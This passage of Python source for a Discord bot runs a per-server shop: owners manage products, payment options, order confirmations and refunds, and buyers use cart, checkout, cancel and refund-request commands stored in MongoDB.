exist\",\n inline=False)\n else:\n embedVar.add_field(name=\"Price change successful\",\n value=\"Changed item price from **\" + str(result[\"price\"]) + \"** to **\" + str(price) + \"**\",\n inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\nasync def help(ctx):\n embedVar = discord.Embed(title=\"Help\", description=\"Command List.\", color=0xffcccc)\n embedVar.add_field(name=\"**Owner commands**\", value=\"Commands for server owner. Guild only commands.\", inline=False)\n embedVar.add_field(name=\"`setup `\",\n value=\"Setup server shop. Must be used before shop is initialized.\", inline=False)\n embedVar.add_field(name=\"`setprefix `\",\n value=\"Setup server prefix. Default prefix and DM prefix is `$`.\", inline=False)\n embedVar.add_field(name=\"`confirm `\",\n value=\"Confirm order has been paid. Use after payment is received.\", inline=False)\n embedVar.add_field(name=\"`refund `\",\n value=\"Confirm refund request. Use when payment has been refunded to the user.\",\n inline=False)\n embedVar.add_field(name=\"`addp <*desciption>`\", value=\"Add a product for sale.\",\n inline=False)\n embedVar.add_field(name=\"`delp `\", value=\"Delete a product.\", inline=False)\n embedVar.add_field(name=\"`setname `\",\n value=\"Set item name. Can be used to change item name to multiple words.\", inline=False)\n embedVar.add_field(name=\"`setdesc `\", value=\"Set item description.\", inline=False)\n embedVar.add_field(name=\"`setcount `\", value=\"Set item count.\", inline=False)\n embedVar.add_field(name=\"`setprice `\", value=\"Set item price.\", inline=False)\n embedVar.add_field(name=\"`setcurrency `\", value=\"Set shop currency.\", inline=False)\n embedVar.add_field(name=\"`setshipping `\", value=\"Set shop shipping price.\", inline=False)\n embedVar.add_field(name=\"`addpayment `\", value=\"Add payment option.\",\n inline=False)\n embedVar.add_field(name=\"`delpayment `\", value=\"Delete payment option.\", inline=False)\n embedVar.add_field(name=\"`pending`\", value=\"List unconfirmed orders.\\n\\n\", inline=False)\n\n embedVar.add_field(name=\"**User commands**\",\n value=\"Commands for buyer. DM only commands. `products` can be used within the server.\",\n inline=False)\n embedVar.add_field(name=\"`info `\", value=\"Server shop info.\", inline=False)\n embedVar.add_field(name=\"`products `\", value=\"Show products for sale.\", inline=False)\n embedVar.add_field(name=\"`payments `\", value=\"Show payment methods.\", inline=False)\n embedVar.add_field(name=\"`add `\", value=\"Add an item to your cart.\", inline=False)\n embedVar.add_field(name=\"`remove `\", value=\"Remove items from your cart.\", inline=False)\n embedVar.add_field(name=\"`cart `\", value=\"Show cart.\", inline=False)\n embedVar.add_field(name=\"`checkout `\", value=\"Checkout cart.\", inline=False)\n embedVar.add_field(name=\"`cancel `\", value=\"Cancel your order. Use when payment has not been sent yet.\", inline=False)\n embedVar.add_field(name=\"`rrefund `\", value=\"Request a refund. Use when payment is sent.\", inline=False)\n\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def setup(ctx, currCode: str, shippingCost: int):\n embedVar = discord.Embed(title=\"Setup\", description=\"Shop setup\", color=0xffcccc)\n item = serv.find_one({\"_id\": ctx.guild.id})\n currency = c.get_symbol(currCode)\n manager = [ctx.guild.owner]\n if item is None:\n if currency is not None:\n searchCode = uuid.uuid4().hex[:8]\n newSet = {\"_id\": ctx.guild.id, \"currency\": currCode, \"shippingCost\": shippingCost, \"searchCode\": searchCode\n , \"payments\": dict(), \"manager\": manager}\n serv.insert_one(newSet)\n embedVar.add_field(name=\"Updated Shop\",\n value=\"Currency: \" + currCode + \"\\nShipping Cost: \" + str(shippingCost)\n + \"\\nSearch Code: \" + searchCode,\n inline=False)\n elif currency is None:\n embedVar.add_field(name=\"Invalid Currency\", value=\"Enter a currency found in ISO 4217.\", inline=True)\n else:\n updatedServ = serv.find_one_and_update({\"_id\": ctx.guild.id}, {\n \"$set\": {\"_id\": ctx.guild.id, \"currency\": currCode, \"shippingCost\": shippingCost}})\n embedVar.add_field(name=\"Updated Shop\", value=\"Currency: \" + currCode + \"\\nShipping Cost: \" + str(shippingCost)\n + \"\\nSearch Code: \" + item[\"searchCode\"],\n inline=False)\n await ctx.send(embed=embedVar)\n\n\n# currently unusable\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def addmgr(ctx, role):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n embedVar = discord.Embed(title=\"Add manager\", description=\"Add shop manager\", color=0xffcccc)\n guildData = bot.get_guild(servInf[\"_id\"])\n\n if servInf is None:\n embedVar.add_field(name=\"Shop not setup\",\n value=\"Setup server shop using `$setup`\", inline=False)\n else:\n if isinstance(role, int):\n checkRole = guildData.get_role(role.id)\n if checkRole is None:\n embedVar.add_field(name=\"Role not found\",\n value=\"Role dies not exist in the server.\", inline=False)\n else:\n managers = servInf[\"manager\"]\n managers.append(role)\n embedVar.add_field(name=\"Added Manager\",\n value=\"Added Role: `\" + role + \"` to the Manager List\", inline=False)\n elif isinstance(role, discord.Role):\n\n checkRole = guildData.get_role(role.id)\n if checkRole is None:\n embedVar.add_field(name=\"Role not found\",\n value=\"Role dies not exist in the server.\", inline=False)\n else:\n managers = servInf[\"manager\"]\n managers.append(role.id)\n embedVar.add_field(name=\"Added Manager\",\n value=\"Added Role: `\" + role + \"` to the Manager List\", inline=False)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def confirm(ctx, orderCode: str):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n order = orders.find_one({\"_id\": orderCode, \"searchCode\": servInf[\"searchCode\"]})\n if order is None:\n embedVar = discord.Embed(title=\"Order confirmation\", description=\"Order Code: \" + orderCode, color=0xffcccc)\n embedVar.add_field(name=\"Order Code not found.\", value=\"The order for the given order code does not exist\",\n inline=False)\n await ctx.send(embed=embedVar)\n else:\n\n items = order[\"items\"]\n\n embedVar = printOrder(\"Order confirmation\",\n \"Order Code: \" + orderCode,\n \"React to process order\", order, servInf)\n embedVar.add_field(name=\"Order Date and Time\", value=str(order[\"orderDate\"]),inline=False)\n message = await ctx.send(embed=embedVar)\n await message.add_reaction('✅')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '✅'\n\n try:\n reaction, user = await bot.wait_for('reaction_add', timeout=60.0, check=check)\n except asyncio.TimeoutError:\n await ctx.author.send(\"Checkout timed out\")\n else:\n processTime = \"Time Processed: \" + str(datetime.utcnow())\n embedVar1 = discord.Embed(title=\"Order Confirmed\",\n description=\"The order `\" + orderCode + \"` has been confirmed. Payment Received.\",\n color=0xffcccc)\n embedVar1.set_footer(text=processTime)\n await ctx.send(embed=embedVar1)\n\n embedVar2 = printOrder(\"Order Confirmed\",\n \"The order `\" + orderCode + \"` has been confirmed. Payment Received.\",\n processTime, order, servInf)\n buyer = bot.get_user(order[\"userID\"])\n await buyer.send(embed=embedVar2)\n orders.find_one_and_update({\"_id\": orderCode}, {\"$set\": {\"processed\": True}})\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def refund(ctx, orderCode: str):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n order = orders.find_one({\"_id\": orderCode, \"searchCode\": servInf[\"searchCode\"]})\n embedVar = discord.Embed(title=\"Confirm Refund\",\n description=\"Order Code: \" + orderCode +\n \"\\nMake sure to refund payment before sending this refund confirmation\",\n color=0xffcccc)\n if order is None:\n embedVar.add_field(name=\"Order Code not found.\", value=\"The order for the given order code does not exist\",\n inline=False)\n await ctx.send(embed=embedVar)\n else:\n if not order[\"refundRequest\"]:\n embedVar.add_field(name=\"Order has not been requested for refund.\",\n value=\"The buyer has not requested a refund for this order.\",\n inline=False)\n await ctx.send(embed=embedVar)\n elif order[\"refunded\"]:\n embedVar.add_field(name=\"Order has already been refunded\",\n value=\"This order is already refunded.\",\n inline=False)\n await ctx.send(embed=embedVar)\n else:\n embedVar = printOrder(\"Confirm Refund\", \"Order Code: \" + orderCode +\n \"\\nMake sure to refund payment before sending this refund confirmation\",\n \"React to confirm refund\", order, servInf)\n embedVar.add_field(name=\"Order Date and Time\", value=str(order[\"orderDate\"]), inline=False)\n message = await ctx.send(embed=embedVar)\n await message.add_reaction('✅')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '✅'\n\n try:\n reaction, user = await bot.wait_for('reaction_add', timeout=60.0, check=check)\n except asyncio.TimeoutError:\n await ctx.author.send(\"Checkout timed out\")\n else:\n processTime = \"Time Processed: \" + str(datetime.utcnow())\n embedVar1 = discord.Embed(title=\"Order Refunded\",\n description=\"The order `\" + orderCode +\n \"` has been confirmed to be refunded.\",\n color=0xffcccc)\n embedVar1.set_footer(text=processTime)\n await ctx.send(embed=embedVar1)\n\n embedVar2 = printOrder(\"Order Refunded\", \"The order `\" + orderCode +\n \"` has been confirmed to be refunded.\", processTime, order, servInf)\n embedVar2.add_field(name=\"Order Date and Time\", value=str(order[\"orderDate\"]), inline=False)\n\n buyer = bot.get_user(order[\"userID\"])\n await buyer.send(embed=embedVar2)\n orders.find_one_and_update({\"_id\": orderCode}, {\"$set\": {\"refunded\": True}})\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def pending(ctx):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n order = orders.find({\"searchCode\": servInf[\"searchCode\"], \"processed\": False})\n embedVar = discord.Embed(title=\"Pending orders\", description=\"Unprocessed/unconfirmed orders.\", color=0xffcccc)\n for item in order:\n user = bot.get_user(item[\"userID\"])\n embedVar.add_field(name=\"Order Code: \" + item[\"_id\"],\n value=\"Total: `\" + str(item[\"total\"]) + \"`\\nUser: `\" + user.name +\"#\" + user.discriminator\n + \"`\\nOrder Date: `\" + str(item[\"orderDate\"]) + \"`\",\n inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def check(ctx, orderCode):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n order = orders.find_one({\"_id\": orderCode, \"searchCode\": servInf[\"searchCode\"]})\n if order is None:\n embedVar = discord.Embed(title=\"Order Details\", description=\"Order Code: \" + orderCode, color=0xffcccc)\n embedVar.add_field(name=\"Order does not exist.\", value=\"Order with given order code does not exist.\",\n inline=False)\n else:\n user = bot.get_user(order[\"userID\"])\n embedVar = printOrder(\"Order Details\", \"Order Code: \" + orderCode, \"User: \" + user.name + \"#\" +\n user.discriminator + \"\\nOrder Date: \" + str(order[\"orderDate\"]) + \"\", order, servInf)\n embedVar.add_field(name=\"Processed/Confirmed:\", value=order[\"processed\"],\n inline=False)\n embedVar.add_field(name=\"Refund Request:\", value=order[\"refundRequest\"],\n inline=False)\n embedVar.add_field(name=\"Refunded:\", value=order[\"refunded\"],\n inline=False)\n\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def addp(ctx, name: str, price: float, count: int, *desc):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n code = uuid.uuid4().hex[:8]\n desc = listToString(desc)\n newProd = {\"_id\": code,\n \"name\": name,\n \"price\": price,\n \"count\": count,\n \"desc\": desc,\n \"serverID\": ctx.guild.id}\n prods.insert_one(newProd)\n result = prods.find_one({\"_id\": code})\n description = \"Succesfully added: `\" + result[\"name\"] + \"`\"\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(result[\"price\"]) + \"` Count: `\" + str(\n result[\"count\"]) + \"` Code: `\" + result[\"_id\"] + \"`\\n\\n Description: \\n\" + result[\"desc\"]\n embedVar = discord.Embed(title=\"Product Added\", description=description, color=0xffcccc)\n embedVar.add_field(name=\"Details\", value=value, inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def delp(ctx, code: str):\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n deleted = prods.find_one_and_delete({\"_id\": code, \"serverID\": ctx.guild.id})\n name = \"Successfully deleted: `\" + deleted[\"name\"] + \"`\"\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(deleted[\"price\"]) + \"` Count: `\" + str(\n deleted[\"count\"]) + \"` Code: `\" + deleted[\n \"_id\"] + \"`\\n Description: \\n\" + deleted[\"desc\"]\n embedVar = discord.Embed(title=\"Delete Status\", description=\"\", color=0xffcccc)\n embedVar.add_field(name=name, value=value, inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def setcurrency(ctx, currcode: str):\n item = serv.find_one({\"_id\": ctx.guild.id})\n currency = c.get_symbol(currcode)\n embedVar = discord.Embed(title=\"Set Currency\", description=\"\", color=0xffcccc)\n\n if currency is None:\n embedVar.add_field(name=\"Invalid Currency\", value=\"Enter a currency found in ISO 4217.\", inline=True)\n if currency is not None and item is None:\n embedVar.add_field(name=\"Shop not setup\", value=\"Setup Shop using $setup\", inline=True)\n elif currency is not None and item is not None:\n updatedCurr = serv.find_one_and_update({\"_id:\": ctx.guild.id}, {\"$set\": {\"currency\": currcode}})\n embedVar.add_field(name=\"Updated Currency\",\n value=\"Updated store currency to \" + currcode + \" (\" + currency + \")\", inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def setshipping(ctx, cost: float):\n item = serv.find_one({\"_id\": ctx.guild.id})\n embedVar = discord.Embed(title=\"Set Shipping Cost\", description=\"\", color=0xffcccc)\n if item is None:\n embedVar.add_field(name=\"Shop not setup\", value=\"Setup Shop using $setup\", inline=True)\n else:\n updatedCurr = serv.find_one_and_update({\"_id:\": ctx.guild.id}, {\"$set\": {\"shippingCost\": cost}})\n embedVar.add_field(name=\"Updated Shipping\", value=\"Shipping Price: `\" + item[\"currency\"] + \" \" + str(cost),\n inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def addpayment(ctx, paymentType: str, *instruction):\n item = serv.find_one({\"_id\": ctx.guild.id})\n instruction = listToString(instruction)\n embedVar = discord.Embed(title=\"Add Payment\", description=\"Add a payment option.\", color=0xffcccc)\n if item is None:\n embedVar.add_field(name=\"Shop not setup.\", value=\"Setup shop using `$setup`\",\n inline=True)\n else:\n item[\"payments\"][paymentType] = instruction\n options = item[\"payments\"]\n newSet = {\"payments\": options}\n serv.find_one_and_update({\"_id\": ctx.guild.id}, {\"$set\": newSet})\n embedVar.add_field(name=paymentType, value=\"Option Instruction:\\n\" + instruction, inline=True)\n\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.is_owner()\n@commands.guild_only()\nasync def delpayment(ctx, type: str):\n item = serv.find_one({\"_id\": ctx.guild.id})\n embedVar = discord.Embed(title=\"Set Payment\", description=\"Add a payment option.\", color=0xffcccc)\n if item is None:\n embedVar.add_field(name=\"Shop not setup.\", value=\"Setup shop using `$setup`\",\n inline=True)\n else:\n options = item[\"payments\"]\n if type in options:\n options.pop(type)\n newSet = {\"payments\": options}\n serv.find_one_and_update({\"_id\": ctx.guild.id}, {\"$set\": newSet})\n embedVar.add_field(name=\"Pay option removed\", value=\"Removed **\" + type + \"** as a payment option.\",\n inline=False)\n else:\n embedVar.add_field(name=\"Pay option not found\",\n value=\"Possible typo or the payment option was never added.\",\n inline=False)\n\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\nasync def info(ctx, searchCode: str = None):\n embedVar = discord.Embed(title=\"Shop Info\", description=\" \", color=0xffcccc)\n if searchCode is None:\n item = serv.find_one({\"_id\": ctx.guild.id})\n embedVar.add_field(name=\"Currency\", value=\"`\" + item[\"currency\"] + \"`\",\n inline=False)\n embedVar.add_field(name=\"Shipping Cost\", value=\"`\" + str(item[\"shippingCost\"]) + \"`\",\n inline=False)\n embedVar.add_field(name=\"Search Code\", value=\"`\" + item[\"searchCode\"] + \"`\",\n inline=False)\n options = \"💳: \"\n for key in item[\"payments\"]:\n options += (key + \",\")\n options = options[:-1]\n print(options)\n embedVar.add_field(name=\"Payment Options\", value=options, inline=False)\n else:\n item = serv.find_one({\"searchCode\": searchCode})\n embedVar.add_field(name=\"Currency\", value=\"`\" + item[\"currency\"] + \"`\",\n inline=False)\n embedVar.add_field(name=\"Shipping Cost\", value=\"`\" + str(item[\"shippingCost\"]) + \"`\",\n inline=False)\n embedVar.add_field(name=\"Search Code\", value=\"`\" + item[\"searchCode\"] + \"`\",\n inline=False)\n options = \" \"\n for key in item[\"payments\"]:\n options += (item[\"payments\"][key] + \",\")\n options = options[:-1]\n print(options)\n embedVar.add_field(name=\"Payment Options\", value=options, inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\nasync def products(ctx, searchCode: str = None):\n embedVar = discord.Embed(title=\"Products\", description=\"Product List.\", color=0xffcccc)\n if searchCode is None:\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n results = prods.find({\"serverID\": ctx.guild.id})\n for product in results:\n name = product[\"name\"]\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(product[\"price\"]) + \"` Count: `\" + str(\n product[\"count\"]) + \"` Item ID: `\" + product[\n \"_id\"] + \"`\\n\" + product[\"desc\"]\n embedVar.add_field(name=name, value=value, inline=False)\n else:\n servInf = serv.find_one({\"searchCode\": searchCode})\n results = prods.find({\"serverID\": servInf[\"_id\"]})\n for product in results:\n name = product[\"name\"]\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(product[\"price\"]) + \"` Count: `\" + str(\n product[\"count\"]) + \"` Item ID: `\" + product[\n \"_id\"] + \"`\\n\" + product[\"desc\"]\n embedVar.add_field(name=name, value=value, inline=False)\n\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\nasync def payments(ctx, searchCode: str = None):\n embedVar = discord.Embed(title=\"Payment Options\", description=\"List of available payment options.\", color=0xffcccc)\n if searchCode is None:\n servInf = serv.find_one({\"_id\": ctx.guild.id})\n for key in servInf[\"payments\"]:\n embedVar.add_field(name=key, value=servInf[\"payments\"][key], inline=False)\n else:\n servInf = serv.find_one({\"searchCode\": searchCode})\n for key in servInf[\"payments\"]:\n embedVar.add_field(name=key, value=servInf[\"payments\"][key], inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.dm_only()\nasync def add(ctx, serverCode: str, code: str, quant: int):\n servInf = serv.find_one({\"searchCode\": serverCode})\n item = prods.find_one({\"_id\": code, \"serverID\": servInf[\"_id\"]})\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(item[\"price\"]) + \"` Quantity: in cart`\" + str(\n quant) + \"` Item ID: `\" + item[\"_id\"] + \"`\\n Description: \\n\" + item[\"desc\"]\n embedVar = discord.Embed(title=\"Add to Cart\", description=\"\", color=0xffcccc)\n if quant <= 0:\n embedVar.add_field(name=\"Invalid Quantity\", value=\"You must order at least 1 item.\", inline=True)\n elif item is None:\n embedVar.add_field(name=\"Item code does not exist\", value=\"No items correspond with the code given.\",\n inline=True)\n elif item is not None and item[\"count\"] < quant:\n embedVar.add_field(name=\"Invalid Quantity\", value=\"Order count beyond what is in-stock\", inline=True)\n elif item is not None and item[\"count\"] >= quant:\n existCart = carts.find_one({\"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"], \"itemCode\": item[\"_id\"]})\n if existCart is not None and item[\"count\"] < (quant + existCart[\"quantity\"]):\n embedVar.add_field(name=\"Invalid Quantity\",\n value=\"Order count beyond what is in-stock.Your cart contains this item.\", inline=True)\n elif existCart is not None and item[\"count\"] >= (quant + existCart[\"quantity\"]):\n myquery = {\"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"], \"itemCode\": item[\"_id\"]}\n newquantity = {\"quantity\": quant + existCart[\"quantity\"]}\n carts.update_one(myquery, {\"$set\": newquantity})\n name = \"Updated Quantity of item `\" + item[\"name\"] + \"`\"\n embedVar.add_field(name=name, value=\"Order count beyond what is in-stock.Your cart contains this item.\",\n inline=True)\n elif existCart is None:\n cartID = uuid.uuid4().hex[:8]\n addToCart = {\"_id\": cartID,\n \"userID\": ctx.author.id,\n \"serverID\": servInf[\"_id\"],\n \"itemCode\": item[\"_id\"],\n \"quantity\": quant}\n carts.insert_one(addToCart)\n name = \"Successfully added: `\" + item[\"name\"] + \"` to cart.\"\n embedVar.add_field(name=name, value=value, inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.dm_only()\nasync def remove(ctx, serverCode: str, code: str, quant: int):\n embedVar = discord.Embed(title=\"Removed from cart\", description=\"\", color=0xffcccc)\n servInf = serv.find_one({\"searchCode\": serverCode})\n item = carts.find_one({\"itemCode\": code, \"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"]})\n if item is None:\n embedVar.add_field(name=\"Item not found in your cart.\",\n value=\"The item you are looking for is not in your cart. Check your cart using: `$cart servercode`\",\n inline=True)\n elif item is not None:\n details = prods.find_one({\"_id\": code, \"serverID\": servInf[\"_id\"]})\n if quant >= item[\"quantity\"]:\n deleted = carts.find_one_and_delete({\"itemCode\": code, \"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"]})\n embedVar.add_field(name=\"Deleted Items: `\" + details[\"name\"] + \"`\",\n value=\"Removed the item from your cart. Check your cart using: `$cart`\\n\" +\n \"`\" + details[\"name\"] + \"`\\n Quantity removed: `\" + str(quant) + \"` Price: `\"\n + details[\"price\"] + \"` Item ID: `\" + code + \"`\\n\\nDescription: \\n\" + details[\n \"desc\"],\n inline=True)\n elif quant < item[\"quantity\"]:\n carts.update_one({\"itemCode\": code, \"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"]},\n {\"$set\": {\"quantity\": item[\"quantity\"] - quant}})\n embedVar.add_field(name=\"Deleted `\" + str(quant) + \" \" + details[\"name\"] + \"` from your cart.\",\n value=\"Removed the item(s) from your cart. Check your cart using: `$cart`\\n\\n\" +\n \"`\" + details[\"name\"] + \"`\\n Quantity in your cart: `\" + str(\n item[\"quantity\"] - quant) + \"` Price: `\" + servInf[\"currency\"] + \" \" + str(\n details[\"price\"]) + \"` Item ID: `\" + code + \"`\\n\\nDescription: \\n\" + details[\"desc\"],\n inline=True)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.dm_only()\nasync def cart(ctx, serverCode: str):\n servInf = serv.find_one({\"searchCode\": serverCode})\n embedVar = discord.Embed(title=\"Your Cart\", description=\"\", color=0xffcccc)\n results = carts.find({\"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"]})\n if results.count() == 0:\n embedVar.add_field(name=\"Empty cart\", value=\"Your cart is empty\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n for item in results:\n product = prods.find_one({\"_id\": item[\"itemCode\"], \"serverID\": servInf[\"_id\"]})\n name = product[\"name\"]\n if product[\"count\"] >= item[\"quantity\"]:\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(product[\"price\"]) + \"` Quantity: `\" + str(\n item[\"quantity\"]) + \"` Item ID: `\" + product[\n \"_id\"] + \"`\\n\\nDescription:\\n\" + product[\"desc\"]\n embedVar.add_field(name=name, value=value, inline=False)\n else:\n value = \"Out of stock or ordering too many.\\n Available Items: `\" + str(item[\"quantity\"]) \\\n + \"` Order quantity: `\" + str(product[\"count\"])\n embedVar.add_field(name=name, value=value, inline=False)\n await ctx.send(embed=embedVar)\n\n\n@bot.command()\n@commands.dm_only()\nasync def checkout(ctx, serverCode: str):\n embedVar = discord.Embed(title=\"Checkout\", description=\"\", color=0xffcccc)\n servInf = serv.find_one({\"searchCode\": serverCode})\n results = carts.find({\"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"]})\n items = {}\n subtotal = 0\n total = 0\n shipping = 0\n if results.count() == 0:\n embedVar.add_field(name=\"Empty cart\", value=\"Add products to your cart to checkout.\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n for item in results:\n product = prods.find_one({\"_id\": item[\"itemCode\"], \"serverID\": servInf[\"_id\"]})\n name = product[\"name\"]\n if product[\"count\"] >= item[\"quantity\"]:\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(product[\"price\"]) + \"` Quantity: `\" + str(\n item[\"quantity\"]) + \"` Item ID: `\" + product[\n \"_id\"] + \"`\\nDescription:\\n\" + product[\"desc\"]\n subtotal = subtotal + product[\"price\"] * item[\"quantity\"]\n items[name] = (product[\"price\"], item[\"quantity\"], product[\"_id\"], product[\"desc\"])\n embedVar.add_field(name=name, value=value, inline=False)\n else:\n value = \"Order cancelled. Out of stock or ordering too many.\\n Available Items: `\" \\\n + str(product[\"count\"]) + \"` Order quantity: `\" + str(item[\"quantity\"])\n embedVar.add_field(name=name, value=value, inline=False)\n embedVar.add_field(name=\"Sub-Total\", value=\"`\" + servInf[\"currency\"] + \" \" + str(subtotal) + \"`\", inline=False)\n if subtotal != 0:\n embedVar.add_field(name=\"Shipping\",\n value=\"`\" + servInf[\"currency\"] + \" \" + str(servInf[\"shippingCost\"]) + \"`\",\n inline=False)\n shipping = servInf[\"shippingCost\"]\n total = total + subtotal + shipping\n else:\n total = subtotal\n embedVar.add_field(name=\"Total\", value=\"`\" + servInf[\"currency\"] + \" \" + str(total) + \"`\", inline=False)\n embedVar.set_footer(text=\"React to confirm order\")\n message = await ctx.send(embed=embedVar)\n await message.add_reaction('✅')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '✅'\n\n try:\n reaction, user = await bot.wait_for('reaction_add', timeout=60.0, check=check)\n except asyncio.TimeoutError:\n await ctx.author.send(\"Checkout timed out\")\n else:\n orderID = uuid.uuid4().hex[:8]\n dt = datetime.utcnow()\n newOrder = {\"_id\": orderID, \"userID\": ctx.author.id, \"searchCode\": servInf[\"searchCode\"], \"items\": items,\n \"subtotal\": subtotal, \"shipping\": shipping, \"total\": total, \"orderDate\": dt,\n \"messageID\": message.id, \"processed\": False, \"refunded\": False, \"refundRequest\": False}\n orders.insert_one(newOrder)\n\n embedVar1 = discord.Embed(title=\"Order Code: \" + newOrder[\"_id\"], description=\"Order Date: \" + str(dt),\n color=0xffcccc)\n for key in items:\n value = \"Price: `\" + servInf[\"currency\"] + \" \" + str(items[key][0]) + \"` Quantity: `\" \\\n + str(items[key][1]) + \"` Item ID: `\" + items[key][2] + \"`\\nDescription:\\n\" + items[key][3]\n embedVar1.add_field(name=key, value=value, inline=False)\n embedVar1.add_field(name=\"Sub-Total\",\n value=\"`\" + servInf[\"currency\"] + \" \" + str(newOrder[\"subtotal\"]) + \"`\",\n inline=False)\n embedVar1.add_field(name=\"Shipping\",\n value=\"`\" + servInf[\"currency\"] + \" \" + str(newOrder[\"shipping\"]) + \"`\",\n inline=False)\n embedVar1.add_field(name=\"Total\", value=\"`\" + servInf[\"currency\"] + \" \" + str(newOrder[\"total\"]) + \"`\",\n inline=False)\n await ctx.send(embed=embedVar1)\n\n embedVar2 = discord.Embed(title=\"Payment Options\", description=\"List of available payment options.\",\n color=0xffcccc)\n for key in servInf[\"payments\"]:\n embedVar2.add_field(name=key, value=servInf[\"payments\"][key], inline=False)\n\n for item in items:\n prods.find_one_and_update({\"_id\": items[item][2], \"serverID\": servInf[\"_id\"]},\n {\"$inc\": {\"count\": -items[item][1]}})\n carts.find_one_and_delete(\n {\"userID\": ctx.author.id, \"serverID\": servInf[\"_id\"], \"itemCode\": items[item][2]})\n\n await ctx.send(embed=embedVar2)\n\n owner = bot.get_user(bot.get_guild(servInf[\"_id\"]).owner_id)\n await owner.send(embed=embedVar1)\n\n\n@bot.command()\n@commands.dm_only()\nasync def cancel(ctx, orderCode):\n embedVar = discord.Embed(title=\"Order Cancellation\", description=\"Order Code: \" + orderCode, color=0xffcccc)\n orderCheck = orders.find_one({\"_id\": orderCode, \"userID\": ctx.author.id})\n if orderCheck is None:\n embedVar.add_field(name=\"Order not found.\", value=\"No order found with the given order code.\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n if orderCheck[\"processed\"]:\n embedVar.add_field(name=\"Order has already been paid and processed.\",\n value=\"To request a refund use `$rrefund orderCode`\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n servInf = serv.find_one({\"searchCode\": orderCheck[\"searchCode\"]})\n embedVar = printOrder(\"Order Cancellation\", \"Order Code: \" + orderCode,\n \"React to confirm order cancellation\", orderCheck, servInf)\n message = await ctx.send(embed=embedVar)\n await message.add_reaction('✅')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '✅'\n\n try:\n reaction, user = await bot.wait_for('reaction_add', timeout=60.0, check=check)\n except asyncio.TimeoutError:\n await ctx.author.send(\"Timed out\")\n else:\n items = orderCheck[\"items\"]\n for item in items:\n prods.find_one_and_update({\"_id\": items[item][2], \"serverID\": servInf[\"_id\"]},\n {\"$inc\": {\"count\": items[item][1]}})\n\n orders.find_one_and_delete({\"_id\": orderCode, \"userID\": ctx.author.id})\n cancelTime = str(datetime.utcnow())\n embedVar1 = discord.Embed(title=\"Order Cancelled\", description=\"Cancelled Order: \" + orderCode,\n color=0xffcccc)\n embedVar1.set_footer(text=cancelTime)\n embedVar.title = \"Order Cancelled\"\n embedVar.description = \"Order `\" + orderCode + \"` has been cancelled\"\n embedVar.set_footer(text=cancelTime)\n\n await ctx.send(embed=embedVar1)\n owner = bot.get_user(bot.get_guild(servInf[\"_id\"]).owner_id)\n await owner.send(embed=embedVar)\n\n\n@bot.command()\n@commands.dm_only()\nasync def rrefund(ctx, orderCode):\n embedVar = discord.Embed(title=\"Request Refund\", description=\"Order Code: \" + orderCode, color=0xffcccc)\n orderCheck = orders.find_one({\"_id\": orderCode, \"userID\": ctx.author.id})\n if orderCheck is None:\n embedVar.add_field(name=\"Order not found.\", value=\"No order found with the given order code.\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n if not orderCheck[\"processed\"]:\n embedVar.add_field(name=\"Order has not been processed. To cancel order, use `$cancel orderCode`\",\n value=\"To request a refund use `$rrefund`\", inline=False)\n await ctx.send(embed=embedVar)\n else:\n servInf = serv.find_one({\"searchCode\": orderCheck[\"searchCode\"]})\n embedVar = 